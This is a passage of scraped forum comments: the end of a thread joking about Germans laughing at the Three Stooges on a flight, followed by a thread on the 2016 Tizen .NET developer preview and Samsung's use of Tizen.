The in flight entertainment included the usual recent movie releases, but there was one oddity. That show had about 50% of the cabin in uproarious laughter, while the remaining passengers glanced around bemused, and confused by the reaction. The Germans were howling.

It was the Stooges. Moe, Larry and Curly.

So I'd suggest that Germans do have a sense of humor, it's just a little different than the author's. And I think this plays out in other places as well. As I understand it, Monty Python was far more popular in the US than it had been in England.

Even North Korea has laughter, where, at least, it is permitted when Kim Jong Un tells a joke. The trick is to be sure he's trying to be funny when you laugh. Seriously.</comment>


Tizen .NET Developer Preview - <AUTHOR> https://www.tizen.org/blogs/dh0922/2016/tizen-.net-developer-preview <comment><USER2> If they allow .NET UI, then they will alleviate a major pain point of Tizen, being based on Enlightement/EFL. This also suggest a rift between Samsung and Google, probably Samsung trying to play both Google and MS against each other.

<comment><USER3> Looks like it uses Xamarin Forms for UI, which uses XAML and is WPF-like:

[https://developer.tizen.org/development/preview/getting- star...](https://developer.tizen.org/development/preview/getting-started)

Seems like that might be the only option:

[https://developer.tizen.org/development/preview/api- referenc...](https://developer.tizen.org/development/preview/api-reference)

</comment></comment><comment><USER4> Does this mean enlightenment desktop also supports .NET bindings ?

</comment><comment><USER5> Why do I care. Tizen phones are only available in India and Samsung Galaxy Gear is not on my priority for platforms

<comment><USER3> They also use Tizen for their TV's and appliances.

<comment><USER6> That explains why my Samsung Tv crashes and freezes up all the time. What the reasoning for using Tizen over Android?

<comment><USER7> Tizen gives Samsung options and means that they are not beholden to Google.</comment></comment></comment></comment>